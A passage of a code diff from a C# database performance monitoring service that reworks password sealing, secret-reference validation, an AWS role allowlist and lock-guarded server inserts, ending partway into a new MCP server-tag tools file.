-    /// <summary><see cref="ParseRequest(string)"/> with the platform named, so a test can ask what either platform
-    /// answers for a literal password without running on it.</summary>
+    /// <summary><see cref="ParseRequest(string)"/> with the password key's status named, so a test can ask what a
+    /// healthy key and a key that is not ready each answer for a literal password.</summary>
     internal static (List<ParsedServerEntry> Entries, List<ServerResult> Invalid, string? WholeError) ParseRequest(
-        string servers_json, bool isWindows)
+        string servers_json, PasswordKeyStatus key, bool allowSecretReferences = false, AwsRoleAllowlist? awsRoleAllowlist = null)
     {
+        /* #5452: the roles this surface may set. The host command line (allowSecretReferences) is the operator's own and is
+           not held to the list; the service runs a role only if it is listed. Null means the list in use. */
+        var roleList = allowSecretReferences ? null : awsRoleAllowlist ?? AwsRoleAllowlist.Current;
         var entries = new List<ParsedServerEntry>();
         var invalid = new List<ServerResult>();
 
@@ -685,7 +782,7 @@ internal static (List<ParsedServerEntry> Entries, List<ServerResult> Invalid, st
 
         for (var i = 0; i < array.Count; i++)
         {
-            var (entry, result) = ParseEntry(i, array[i], isWindows);
+            var (entry, result) = ParseEntry(i, array[i], key, allowSecretReferences, roleList);
             if (entry != null)
             {
                 entries.Add(entry);
@@ -703,7 +800,7 @@ internal static (List<ParsedServerEntry> Entries, List<ServerResult> Invalid, st
     /// problem. The service honors Windows, SQL, and the two non-interactive Entra modes (ServicePrincipal,
     /// ManagedIdentity); the interactive Entra modes (MFA/device-code/default-credential) are rejected — they
     /// cannot run headless (#3484).</summary>
-    private static (ParsedServerEntry? Entry, ServerResult? Result) ParseEntry(int index, JsonNode? node, bool isWindows)
+    private static (ParsedServerEntry? Entry, ServerResult? Result) ParseEntry(int index, JsonNode? node, PasswordKeyStatus key, bool allowSecretReferences, AwsRoleAllowlist? roleList)
     {
         if (node is not JsonObject obj)
         {
@@ -729,32 +826,10 @@ private static (ParsedServerEntry? Entry, ServerResult? Result) ParseEntry(int i
            and ManagedIdentity (#3484). Absent defaults to Windows. The interactive Entra modes (MFA,
            device-code, default-credential) are refused: they need a broker or a signed-in user and cannot run
            unattended. */
-        var authRaw = TryGetString(obj, "auth");
-        var authTrim = authRaw?.Trim();
-        string storeAuth;
-        if (string.IsNullOrWhiteSpace(authTrim) || authTrim.Equals("Windows", StringComparison.OrdinalIgnoreCase))
-        {
-            storeAuth = ServerStoreAuth.Integrated;
-        }
-        else if (authTrim.Equals("SQL", StringComparison.OrdinalIgnoreCase))
+        var (storeAuth, authError) = ResolveAuth(TryGetString(obj, "auth"));
+        if (authError != null)
         {
-            storeAuth = ServerStoreAuth.Sql;
-        }
-        else if (authTrim.Equals("ServicePrincipal", StringComparison.OrdinalIgnoreCase))
-        {
-            storeAuth = ServerStoreAuth.ServicePrincipal;
-        }
-        else if (authTrim.Equals("ManagedIdentity", StringComparison.OrdinalIgnoreCase))
-        {
-            storeAuth = ServerStoreAuth.ManagedIdentity;
-        }
-        else
-        {
-            return (null, Invalid(
-                "auth must be \"Windows\", \"SQL\", \"ServicePrincipal\", or \"ManagedIdentity\". The interactive " +
-                "Microsoft Entra modes (MFA, device-code, default-credential) are not supported for a headless " +
-                "collector — they need a broker or a signed-in user. Use ServicePrincipal (client id + secret) or " +
-                "ManagedIdentity, both non-interactive, for Entra-authenticated Azure SQL targets."));
+            return (null, Invalid(authError));
         }
 
         string? username = null;
@@ -762,7 +837,7 @@ and ManagedIdentity (#3484). Absent defaults to Windows. The interactive Entra m
         if (storeAuth == ServerStoreAuth.Sql || storeAuth == ServerStoreAuth.ServicePrincipal)
         {
             /* Service principal takes the same two fields as SQL auth — the application/client id as username,
-               the client secret as the password (DPAPI-encrypted after a successful probe, exactly like a SQL
+               the client secret as the password (sealed after a successful probe, exactly like a SQL
                password) — so the requirement and the storage are identical; only the wording differs. */
             var isSp = storeAuth == ServerStoreAuth.ServicePrincipal;
             username = TryGetString(obj, "username");
@@ -782,12 +857,17 @@ the client secret as the password (DPAPI-encrypted after a successful probe, exa
                     : "password is required for SQL authentication."));
             }
 
-            /* #4734: refuse a literal where it cannot be encrypted, HERE, before the probe and the write. Left to
-               ProtectPasswordForStorage it threw after the probe, in the middle of the batch. */
-            var refusal = LiteralSecretRefusal(plaintextPassword, isWindows, isSp);
-            if (refusal != null)
+            /* The password a request carries is the password itself: a reference is refused HERE, before the probe
+               resolves anything and before the write (ValidateSecret). Then #4734: a literal while the password key
+               cannot seal it, before the probe and the write; left to ProtectPasswordForStorage it threw after the probe, in
+               the middle of the batch. Add and edit share the helper, so the two cannot disagree. */
+            var secretRefusal = ValidateSecret(plaintextPassword, key, isSp, allowSecretReferences)
+                ?? (DarlingSecretSource.IsReference(plaintextPassword)
+                    ? null
+                    : SealableTextRefusal(plaintextPassword, host, database, username));
+            if (secretRefusal != null)
             {
-                return (null, Invalid(refusal));
+                return (null, Invalid(secretRefusal));
             }
         }
         else if (storeAuth == ServerStoreAuth.ManagedIdentity)
@@ -846,15 +926,46 @@ fail at every connect. */
             return (null, Invalid(portError));
         }
 
+        /* #5452: the AWS role for an RDS or Aurora target, and its external ID. Blank is "not set"; the formats and the
+           pairing are AwsRoleSettings' own; a role is PostgreSQL-only; and, from the web and MCP, it must be on the list. */
+        if (obj["aws_role_arn"] is not null && TryGetString(obj, "aws_role_arn") is null)
+        {
+            return (null, Invalid("aws_role_arn must be text."));
+        }
+
+        if (obj["aws_external_id"] is not null && TryGetString(obj, "aws_external_id") is null)
+        {
+            return (null, Invalid("aws_external_id must be text."));
+        }
+
+        var awsRole = AwsRoleSettings.Normalize(TryGetString(obj, "aws_role_arn"));
+        var awsExternalId = AwsRoleSettings.Normalize(TryGetString(obj, "aws_external_id"));
+        if (AwsRoleSettings.ValidatePair(awsRole, awsExternalId) is { } awsPairError)
+        {
+            return (null, Invalid(awsPairError));
+        }
+
+        if (awsRole is not null && engine == EngineSqlServer)
+        {
+            return (null, Invalid(AwsRoleSettings.RoleNeedsPostgresMessage));
+        }
+
+        if (roleList is not null && AwsRoleListRefusal(awsRole, null, roleList) is { } awsListRefusal)
+        {
+            return (null, Invalid(awsListRefusal));
+        }
+
         var probeConfig = new MonitoredServer
         {
+            AwsRoleArn = awsRole,
+            AwsExternalId = awsExternalId,
             Name = displayName,
             Host = host,
             Database = database,
             Auth = storeAuth,
             Username = username,
             /* Plaintext for the probe's connect (ResolvePassword's dev-plaintext fallback); the stored blob is the
-               DPAPI encryption of this, produced only AFTER a successful probe. */
+               sealed form of this, produced only AFTER a successful probe. */
             Password = plaintextPassword,
             EncryptMode = encryptMode,
             TrustServerCertificate = trustCert,
@@ -894,7 +1005,27 @@ entry does not collide with a SQL Server one on the same host. */
     internal static string? ActualIdentityCollision(
         ParsedServerEntry entry, string? connectedDatabase, ISet<string> claimedKeys)
     {
-        if (entry is null || claimedKeys is null || string.IsNullOrWhiteSpace(connectedDatabase))
+        if (claimedKeys is null)
+        {
+            return null;
+        }
+
+        var actualKey = ActualStorageKeyOf(entry, connectedDatabase);
+        return actualKey is null || !claimedKeys.Contains(actualKey)
+            ? null
+            : ActualIdentityCollisionText(entry, connectedDatabase!);
+    }
+
+    /// <summary>
+    /// The storage key this entry would have if it were keyed on the database the probe ACTUALLY reached, or null when
+    /// there is nothing to check: no entry, a probe that reported no database, a connected database equal to the
+    /// declared one, or a key equal to the entry's own. <see cref="ActualIdentityCollision"/> compares it against the keys
+    /// read before the probe, and the write (<see cref="InsertServerAsync"/>, the edit store's <c>WriteAsync</c>) is
+    /// given the same key and compares it again under the identity lock (#5240), so one rule decides both reads.
+    /// </summary>
+    internal static string? ActualStorageKeyOf(ParsedServerEntry entry, string? connectedDatabase)
+    {
+        if (entry is null || string.IsNullOrWhiteSpace(connectedDatabase))
         {
             return null;
         }
@@ -910,12 +1041,14 @@ entry does not collide with a SQL Server one on the same host. */
             entry.ProbeConfig.Host, connectedDatabase.Trim(), entry.ProbeConfig.ReadOnlyIntent,
             entry.ProbeConfig.Engine, entry.ProbeConfig.Port);
 
-        if (string.Equals(actualKey, entry.StorageKey, StringComparison.OrdinalIgnoreCase)
-            || !claimedKeys.Contains(actualKey))
-        {
-            return null;
-        }
+        return string.Equals(actualKey, entry.StorageKey, StringComparison.OrdinalIgnoreCase) ? null : actualKey;
+    }
 
+    /// <summary>The refusal for an entry whose connected database is already covered by another definition: the one
+    /// text the check before the probe's write and the check under the lock both give.</summary>
+    internal static string ActualIdentityCollisionText(ParsedServerEntry entry, string connectedDatabase)
+    {
+        var declared = entry.ProbeConfig.Database;
         var declaredText = string.IsNullOrWhiteSpace(declared) ? "no database" : $"database '{declared}'";
         return $"Not added: this registration names {declaredText} but its connection lands in " +
                $"'{connectedDatabase.Trim()}', which another monitored server already covers. Adding it would " +
@@ -929,7 +1062,9 @@ entry does not collide with a SQL Server one on the same host. */
     /// the insert is <c>ON CONFLICT (server_id) DO NOTHING</c>, so a write can save nothing without throwing: two
     /// different keys can hash to one id, and a concurrent add of the same server can land between the duplicate
     /// gate's read and this write. <paramref name="holderStorageKey"/> is the storage key of the row that holds the id
-    /// now, or null when none does.
+    /// now, or null when none does. (#5240: the store's write reads the keys again under the identity lock first, so
+    /// a same-key add or edit that committed during the probe is answered there as <see cref="InsertKeyClaimed"/>;
+    /// the same-key arm below is for a write that still returns 0, and for a definitions seam that is not the store.)
     ///
     /// <list type="bullet">
     /// <item>A DIFFERENT key holds the id: <c>collides</c>. The entry is not a duplicate — its identity is not
@@ -1007,16 +1142,47 @@ internal static (List<ParsedServerEntry> Ready, List<ServerResult> Duplicates) P
     /// (the seed authority), so a tool-added row is byte-identical to a seeded one. <c>capture_plans</c> and
     /// <c>alert_delivery_mode_override</c> default to NULL (inherit the globals), <c>monthly_cost_usd</c>/
     /// <c>excluded_databases</c> are the neutral defaults, and <c>is_enabled</c> is TRUE (collection starts at
-    /// once). ON CONFLICT DO NOTHING guards a race with a concurrent writer — the dedupe gate is the primary
-    /// guard. DO NOTHING is silent, so the caller checks the rows changed (#4734): 0 means nothing was saved.</summary>
+    /// once). The dedupe gate is the first guard and <see cref="IdentityLockSql"/> the second: the INSERT runs in a
+    /// transaction that holds the identity lock, after the storage keys were read again under it (#5240). ON CONFLICT
+    /// DO NOTHING stays as the last: <c>server_id</c> is a hash of the key, so two different keys can share an id,
+    /// and a lock does not change that. DO NOTHING is silent, so the caller checks the rows changed (#4734): 0 means
+    /// nothing was saved.</summary>
     public const string InsertServerSql = @"
 INSERT INTO config_monitored_servers (
     server_id, name, host, database, auth, username, encrypted_password, encrypt_mode,
     trust_server_certificate, read_only_intent, multi_subnet_failover, excluded_databases,
-    monthly_cost_usd, capture_plans, alert_delivery_mode_override, engine, port, is_enabled, created_at, modified_at)
-VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, NULL, NULL, $15, $16, TRUE, $14, $14)
+    monthly_cost_usd, capture_plans, alert_delivery_mode_override, engine, port, is_enabled, created_at, modified_at,
+    aws_role_arn, aws_external_id)
+VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11, $12, $13, NULL, NULL, $15, $16, TRUE, $14, $14, $17, $18)
 ON CONFLICT (server_id) DO NOTHING";
 
+    /// <summary>
+    /// The one lock every write that gives a definition an ADDRESS takes (#5240): <see cref="InsertServerAsync"/> and
+    /// the edit store's <c>WriteAsync</c>. <c>server_id</c> is the hash of the storage key, an edit keeps its row's
+    /// old id, and the table has no unique index on the key, so nothing in the database stops two writers from each
+    /// finding an address free and each taking it: an add's INSERT lands under <c>hash(K)</c> while an edit moves
+    /// another row onto K, or two edits move two rows onto K. Taken first inside the write's transaction, the lock
+    /// makes the occupancy check that follows it a check against a table no other identity write is changing, and
+    /// the transaction's end (commit or rollback) releases it, so no path can leave it held.
+    ///
+    /// <para>Transaction-scoped on purpose: a session lock would outlive a pooled connection's return. It covers the
+    /// re-check and the write only; the connection probe (up to about 45 seconds) runs before the write opens its
+    /// transaction. <c>pg_advisory_xact_lock</c> and <c>hashtext</c> are executable by PUBLIC, so the <c>viewer</c>
+    /// and <c>mcp</c> roles need no grant. The wait for the lock is bounded by the command's own deadline.</para>
+    /// </summary>
+    internal const string IdentityLockSql = "SELECT pg_advisory_xact_lock(hashtext('config_monitored_servers.identity'))";
+
+    /// <summary>What <see cref="IServerDefinitions.InsertAsync"/> returns when, under the identity lock, another
+    /// definition already holds the entry's storage key: nothing was written, and the answer is <c>duplicate</c>.
+    /// Not a row count, so it cannot be mistaken for one: 1 is saved, 0 is "the id was taken".</summary>
+    internal const int InsertKeyClaimed = -1;
+
+    /// <summary>What <see cref="IServerDefinitions.InsertAsync"/> returns when, under the identity lock, another
+    /// definition already holds the storage key the probe's connected database gives
+    /// (<see cref="ActualStorageKeyOf"/>): nothing was written, and the answer is the same <c>collides</c> refusal
+    /// <see cref="ActualIdentityCollision"/> gives before the write.</summary>
+    internal const int InsertActualKeyClaimed = -2;
+
     private static async Task<List<string>> LoadExistingStorageKeysAsync(NpgsqlDataSource postgres, CancellationToken cancellationToken)
     {
         var keys = new List<string>();
@@ -1059,13 +1225,59 @@ private static string StorageKeyOf(NpgsqlDataReader reader)
         return await reader.ReadAsync(cancellationToken) ? StorageKeyOf(reader) : null;
     }
 
+    /// <summary>
+    /// Writes one entry in its own short transaction (#5240): the identity lock first, then the storage keys read
+    /// again under it, then the INSERT. When the entry's key is now claimed by a definition the duplicate gate did not
+    /// see (an edit or another add committed during the probe), nothing is written and the answer is
+    /// <see cref="InsertKeyClaimed"/>. The same read also looks for <paramref name="actualStorageKey"/>, the key the
+    /// probe's connected database gives when it differs from the entry's own (null otherwise): a definition holding it
+    /// answers <see cref="InsertActualKeyClaimed"/>, the refusal the pre-probe check gives, so a definition committed
+    /// during the probe cannot leave two rows collecting one database. The entry's own key is judged first. Each entry
+    /// of a batch takes and releases the lock in its own transaction, so a long batch never holds it across a probe.
+    /// </summary>
     private static async Task<int> InsertServerAsync(
-        NpgsqlDataSource postgres, ParsedServerEntry entry, string? encryptedPassword, CancellationToken cancellationToken)
+        NpgsqlDataSource postgres, ParsedServerEntry entry, string? encryptedPassword, string? actualStorageKey, CancellationToken cancellationToken)
     {
         var config = entry.ProbeConfig;
         var now = DateTime.SpecifyKind(DateTime.UtcNow, DateTimeKind.Unspecified);
 
-        await using var command = postgres.CreateCommand(InsertServerSql);
+        await using var connection = await postgres.OpenConnectionAsync(cancellationToken);
+        await using var transaction = await connection.BeginTransactionAsync(cancellationToken);
+
+        /* Two-arg on the store connection with the transaction set on it: the shape McpReadCommandTimeoutTests
+           recognises as a store command (see remove_server). */
+        await using (var identityLock = new NpgsqlCommand(IdentityLockSql, connection) { Transaction = transaction })
+        {
+            identityLock.CommandTimeout = McpCommandDeadlines.ReadSeconds;
+            await identityLock.ExecuteNonQueryAsync(cancellationToken);
+        }
+
+        var actualKeyHeld = false;
+        await using (var keys = new NpgsqlCommand(ExistingServersSql, connection) { Transaction = transaction })
+        {
+            keys.CommandTimeout = McpCommandDeadlines.ReadSeconds;
+            await using var reader = await keys.ExecuteReaderAsync(cancellationToken);
+            while (await reader.ReadAsync(cancellationToken))
+            {
+                /* Case-folded, as the duplicate gate is. The rollback on this return releases the lock. */
+                var held = StorageKeyOf(reader);
+                if (string.Equals(held, entry.StorageKey, StringComparison.OrdinalIgnoreCase))
+                {
+                    return InsertKeyClaimed;
+                }
+
+                actualKeyHeld |= actualStorageKey is not null && string.Equals(held, actualStorageKey, StringComparison.OrdinalIgnoreCase);
+            }
+        }
+
+        if (actualKeyHeld)
+        {
+            /* The entry's own key is free but the database its probe reached is held: the same refusal, and the
+               rollback on this return releases the lock. */
+            return InsertActualKeyClaimed;
+        }
+
+        await using var command = new NpgsqlCommand(InsertServerSql, connection) { Transaction = transaction };
         command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
         command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = ServerIdOf(entry) });                                   // $1
         command.Parameters.Add(new NpgsqlParameter<string> { TypedValue = config.Name });                                            // $2
@@ -1083,7 +1295,11 @@ private static async Task<int> InsertServerAsync(
         command.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlDbType.Timestamp, Value = now });                           // $14
         command.Parameters.Add(new NpgsqlParameter<string> { TypedValue = config.Engine });                                           // $15
         command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = config.Port });                                                // $16
-        return await command.ExecuteNonQueryAsync(cancellationToken);
+        AddNullableText(command, config.AwsRoleArn);                                                                                  // $17
+        AddNullableText(command, config.AwsRoleArn is null ? null : config.AwsExternalId);                                            // $18
+        var written = await command.ExecuteNonQueryAsync(cancellationToken);
+        await transaction.CommitAsync(cancellationToken);
+        return written;
     }
 
     /// <summary>The <c>server_id</c> an entry is stored under: the deterministic hash of its storage key, the same
@@ -1101,8 +1317,12 @@ internal interface IServerDefinitions
         Task<List<string>> LoadStorageKeysAsync(CancellationToken cancellationToken);
 
         /// <summary>Writes one entry and returns how many rows the write changed: 1 when it was saved, 0 when
-        /// <c>ON CONFLICT (server_id) DO NOTHING</c> found the id already taken and wrote nothing.</summary>
-        Task<int> InsertAsync(ParsedServerEntry entry, string? encryptedPassword, CancellationToken cancellationToken);
+        /// <c>ON CONFLICT (server_id) DO NOTHING</c> found the id already taken and wrote nothing, and
+        /// <see cref="InsertKeyClaimed"/> when another definition already holds the entry's storage key (read under the
+        /// identity lock, #5240) and nothing was written. <paramref name="actualStorageKey"/> is the key the probe's
+        /// connected database gives when it differs from the entry's own, else null; a definition holding it, read under
+        /// the same lock, answers <see cref="InsertActualKeyClaimed"/> with nothing written.</summary>
+        Task<int> InsertAsync(ParsedServerEntry entry, string? encryptedPassword, string? actualStorageKey, CancellationToken cancellationToken);
 
         /// <summary>The storage key of the row that holds <paramref name="serverId"/>, or null when none does.</summary>
         Task<string?> ReadStorageKeyAsync(int serverId, CancellationToken cancellationToken);
@@ -1118,8 +1338,8 @@ private sealed class PostgresServerDefinitions : IServerDefinitions
         public Task<List<string>> LoadStorageKeysAsync(CancellationToken cancellationToken) =>
             LoadExistingStorageKeysAsync(_postgres, cancellationToken);
 
-        public Task<int> InsertAsync(ParsedServerEntry entry, string? encryptedPassword, CancellationToken cancellationToken) =>
-            InsertServerAsync(_postgres, entry, encryptedPassword, cancellationToken);
+        public Task<int> InsertAsync(ParsedServerEntry entry, string? encryptedPassword, string? actualStorageKey, CancellationToken cancellationToken) =>
+            InsertServerAsync(_postgres, entry, encryptedPassword, actualStorageKey, cancellationToken);
 
         public Task<string?> ReadStorageKeyAsync(int serverId, CancellationToken cancellationToken) =>
             ReadStorageKeyByIdAsync(_postgres, serverId, cancellationToken);
@@ -1128,37 +1348,143 @@ public Task<int> InsertAsync(ParsedServerEntry entry, string? encryptedPassword,
     /* ─────────────────────────────── helpers ─────────────────────────────── */
 
     /// <summary>
-    /// PURE platform check for a SQL password or service-principal client secret (#4734): null when the value can be
-    /// stored on this platform, otherwise the refusal sentence. A LITERAL is encrypted with DPAPI, which is Windows-
-    /// only, so off Windows it cannot be saved; an <c>env:</c>/<c>file:</c> reference (#1804) is stored as given and
-    /// needs no encryption, so it is accepted everywhere. <see cref="ParseEntry"/> asks this before any probe or
-    /// write, which makes the entry <c>invalid</c> up front instead of throwing from
-    /// <see cref="ProtectPasswordForStorage"/> after the probe, in the middle of a batch.
+    /// Maps the <c>auth</c> text of an add entry or an edit to the store's auth value: Windows (integrated), SQL, or
+    /// the two non-interactive Entra modes. Blank is Windows. Anything else, the interactive Entra modes included,
+    /// is the refusal sentence. One mapping for add and edit, so the two accept the same words.
     /// </summary>
-    internal static string? LiteralSecretRefusal(string? secret, bool isWindows, bool isServicePrincipal)
+    internal static (string StoreAuth, string? Error) ResolveAuth(string? authRaw)
     {
-        if (isWindows || string.IsNullOrEmpty(secret) || DarlingSecretSource.IsReference(secret))
+        var authTrim = authRaw?.Trim();
+        if (string.IsNullOrWhiteSpace(authTrim) || authTrim.Equals("Windows", StringComparison.OrdinalIgnoreCase))
+        {
+            return (ServerStoreAuth.Integrated, null);
+        }
+
+        if (authTrim.Equals("SQL", StringComparison.OrdinalIgnoreCase))
+        {
+            return (ServerStoreAuth.Sql, null);
+        }
+
+        if (authTrim.Equals("ServicePrincipal", StringComparison.OrdinalIgnoreCase))
+        {
+            return (ServerStoreAuth.ServicePrincipal, null);
+        }
+
+        if (authTrim.Equals("ManagedIdentity", StringComparison.OrdinalIgnoreCase))
+        {
+            return (ServerStoreAuth.ManagedIdentity, null);
+        }
+
+        return (ServerStoreAuth.Integrated,
+            "auth must be \"Windows\", \"SQL\", \"ServicePrincipal\", or \"ManagedIdentity\". The interactive " +
+            "Microsoft Entra modes (MFA, device-code, default-credential) are not supported for a headless " +
+            "collector — they need a broker or a signed-in user. Use ServicePrincipal (client id + secret) or " +
+            "ManagedIdentity, both non-interactive, for Entra-authenticated Azure SQL targets.");
+    }
+
+    /// <summary>
+    /// The refusals every SQL password or service-principal client secret meets before it is probed or stored: a
+    /// reference when it came in a request (<see cref="DarlingSecretSource.RequestReferenceRefusal"/>, the one place
+    /// web add, web edit, <c>add_servers</c> and <c>edit_server</c> all ask it), then a literal while the password key
+    /// cannot seal it (<see cref="LiteralSecretRefusal"/>), then a reference to Darling's own configuration or secrets
+    /// (<see cref="DarlingOwnedSecrets.ReferenceRefusal(string?)"/>), which only the host command line can reach
+    /// (<paramref name="allowSecretReferences"/>, set by <see cref="AddServersFromHostCommandLineAsync"/> alone).
+    /// Null when the secret may be used. Add and edit both call it.
+    /// </summary>
+    internal static string? ValidateSecret(string? secret, PasswordKeyStatus key, bool isServicePrincipal, bool allowSecretReferences = false) =>
+        (allowSecretReferences ? null : DarlingSecretSource.RequestReferenceRefusal(secret))
+        ?? LiteralSecretRefusal(secret, key, isServicePrincipal)
+        ?? DarlingOwnedSecrets.ReferenceRefusal(secret);
+
+    /// <summary>
+    /// PURE check of a SQL password or service-principal client secret against the service's password key (#4734,
+    /// #5366): null when the value can be stored now, otherwise the key's own reason. A LITERAL is sealed with the key, so
+    /// it is accepted wherever the key is ready, on any platform; an <c>env:</c>/<c>file:</c> reference (#1804) is stored as
+    /// given and needs no key, so it is accepted always. <see cref="ParseEntry"/> asks this before any probe or write,
+    /// which makes the entry <c>invalid</c> up front instead of throwing from <see cref="ProtectPasswordForStorage"/>
+    /// after the probe, in the middle of a batch.
+    /// </summary>
+    internal static string? LiteralSecretRefusal(string? secret, PasswordKeyStatus key, bool isServicePrincipal)
+    {
+        if (key.CanSeal || string.IsNullOrEmpty(secret) || DarlingSecretSource.IsReference(secret))
         {
             return null;
         }
 
         var noun = isServicePrincipal ? "client secret" : "password";
-        return $"A literal {noun} cannot be saved on this platform: encrypting it needs Windows DPAPI. Give the " +
-               $"{noun} as an env:NAME or file:/run/secrets/<name> reference instead (for example " +
-               "file:/run/secrets/sql_password).";
+        return $"A literal {noun} cannot be saved. {key.Reason ?? DarlingPasswordKey.NotReadyReason}";
+    }
+
+    /// <summary>The refusal for a password that is not valid text (a lone surrogate); never echoes the value.</summary>
+    internal const string PasswordCharactersText = "The password contains characters that cannot be stored.";
+
+    /// <summary>The refusal for a password longer than a sealed value can hold.</summary>
+    internal const string PasswordTooLongText = "The password is longer than can be stored.";
+
+    /// <summary>The refusal for a connection field that is not valid text, naming the field and never its value.</summary>
+    internal static string FieldCharactersText(string field) => $"The {field} contains characters that cannot be stored.";
+
+    private static readonly System.Text.UTF8Encoding s_strictUtf8 = new(false, true);
+
+    private static bool IsValidText(string? text)
+    {
+        if (text is null)
+        {
+            return true;
+        }
+
+        try
+        {
+            _ = s_strictUtf8.GetByteCount(text);
+            return true;
+        }
+        catch (System.Text.EncoderFallbackException)
+        {
+            return false;
+        }
     }
 
+    /// <summary>
+    /// Null when a literal secret and the connection fields it is bound to are valid UTF-16 text and the secret fits a
+    /// sealed value; otherwise the plain sentence to refuse with (#5366). A lone surrogate cannot be sealed, so it is
+    /// refused before the probe, naming the field and never echoing the value.
+    /// </summary>
+    internal static string? SealableTextRefusal(string? secret, string? host, string? database, string? username)
+    {
+        if (!IsValidText(secret))
+        {
+            return PasswordCharactersText;
+        }
+
+        if (secret is not null && s_strictUtf8.GetByteCount(secret) > PasswordSeal.MaxPlaintextBytes)
+        {
+            return PasswordTooLongText;
+        }
+
+        foreach (var (name, text) in new (string, string?)[] { ("host", host), ("database name", database), ("username", username) })
+        {
+            if (!IsValidText(text))
+            {
+                return FieldCharactersText(name);
+            }
+        }
+
+        return null;
+    }
+
+    /// <summary>The binding a server's password is sealed for: the connection settings the row holds (or is written
+    /// with), read the one way every stored row is read.</summary>
+    internal static PasswordBinding BindingOf(MonitoredServer server) =>
+        PasswordBinding.ForServer(server.ConnectionIdentity);
+
     /// <summary>Prepares a SQL password for storage: an <c>env:</c>/<c>file:</c> secret REFERENCE (#1804) is
-    /// stored VERBATIM — a reference is a pointer, not a secret; the secret stays in the mounted file or
-    /// environment variable, which is the whole Linux/compose contract and needs no DPAPI (#2087: before this,
-    /// <c>add_servers</c> refused ALL SQL-auth passwords off-Windows, dead-ending the designed onboarding path
-    /// for compose deployments — the store-authoritative control plane means darling.json edits do not add
-    /// servers after first seed). A LITERAL password is DPAPI-encrypted and therefore Windows-only, with the
-    /// refusal now pointing at references as the cross-platform alternative. <see cref="ParseEntry"/> refuses a literal
-    /// off Windows first (<see cref="LiteralSecretRefusal"/>, #4734), so a request never reaches this throw; it stays as
-    /// the backstop for any other caller. Null for Windows auth (no secret).
-    /// The plaintext is not logged and never leaves this method.</summary>
-    internal static string? ProtectPasswordForStorage(string? plaintextPassword)
+    /// stored VERBATIM (a reference is a pointer, not a secret; the secret stays in the mounted file or environment
+    /// variable, #2087). A LITERAL password is sealed with the service's password key for
+    /// <paramref name="binding"/>, the connection settings it is saved with, on any platform (#5366).
+    /// <see cref="ParseEntry"/> refuses a literal while the key cannot seal (<see cref="LiteralSecretRefusal"/>, #4734), so a
+    /// request never reaches the throw; it stays as the backstop for any other caller. Null for Windows auth (no
+    /// secret). The plaintext is not logged and never leaves this method.</summary>
+    internal static string? ProtectPasswordForStorage(string? plaintextPassword, PasswordBinding binding, IPasswordKeyRing ring)
     {
         if (string.IsNullOrEmpty(plaintextPassword))
         {
@@ -1170,15 +1496,7 @@ public Task<int> InsertAsync(ParsedServerEntry entry, string? encryptedPassword,
             return plaintextPassword;
         }
 
-        if (!OperatingSystem.IsWindows())
-        {
-            throw new PlatformNotSupportedException(
-                "Storing a LITERAL SQL-auth password requires Windows (DPAPI). On Linux, pass an env:/file: " +
-                "secret reference instead (e.g. file:/run/secrets/sql_password) — it is stored as-is and " +
-                "resolved at connect time (#1804).");
-        }
-
-        return DarlingSecrets.Protect(plaintextPassword);
+        return ring.Seal(plaintextPassword, binding);
     }
 
     /// <summary>
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpServerTagTools.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpServerTagTools.cs
new file mode 100644
index 0000000000..44b7c6d322
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpServerTagTools.cs
@@ -0,0 +1,662 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.ComponentModel;
+using System.Globalization;
+using System.Linq;
+using System.Text.Json;
+using System.Text.Json.Nodes;
+using System.Threading;
+using System.Threading.Tasks;
+using ModelContextProtocol.Server;
+using Npgsql;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage;
+
+#pragma warning disable CA1707 // MCP tools use snake_case naming convention
+
+namespace PerformanceMonitor.Darling.Service.Mcp;
+
+/// <summary>
+/// The fleet server-tag WRITE tools (#5085): create, update (rename, colour, move), delete, assign and unassign.
+/// Tags organize the server list and scope custom alert rules, so every result names the custom alert rules the
+/// change affects (<c>affected_rules</c>).
+///
+/// <para><b>One implementation.</b> Every tool hands off to a <c>...Core</c> over <see cref="IServerTagStore"/>.
+/// <see cref="ServerTagStore"/> is the same store the Viewer writes through, and the checks in
+/// <see cref="ServerTagRules"/> (depth, cycle, duplicate, name, colour) run in the core before the write and again
+/// in the store under its lock, so a writer that races this one cannot slip past them.</para>
+///
+/// <para><b>The flow of every core.</b> Validate the arguments, read a <c>before</c> snapshot (tags,
+/// assignments, tag-scoped rules), run the pure checks, write, read an <c>after</c> snapshot, and report
+/// <see cref="ServerTagCoverage.Diff"/> of the two. The tag a result returns is the row re-read from
+/// <c>after</c>, never the row the write call handed back. A refusal returns before any write.</para>
+///
+/// <para><b>The admin gate is a grant.</b> Every MCP caller connects as the <c>mcp</c> role, which holds
+/// INSERT/UPDATE/DELETE on only <c>config.server_tags</c> and <c>config.server_tag_map</c>
+/// (<see cref="DarlingManagedRoles"/>). Without those grants the write fails with 42501 and the tool reports it
+/// as an error.</para>
+/// </summary>
+[McpServerToolType]
+public sealed class DarlingMcpServerTagTools
+{
+    /// <summary>The most server ids one assign or unassign call takes.</summary>
+    internal const int MaxServerIds = 1000;
+
+    private const string UnknownFieldCode = "unknown_field";
+    private const string UnknownServerCode = "unknown_server";
+    private const string RulesAffectedCode = "rules_affected";
+
+    /// <summary>The per-command deadline the write tools use, the same as the mute-rule store's.</summary>
+    internal const int WriteCommandSeconds = DarlingAlertReadAdapter.AlertPassCommandTimeoutSeconds;
+
+    [McpServerTool(Name = "create_server_tag"), Description(
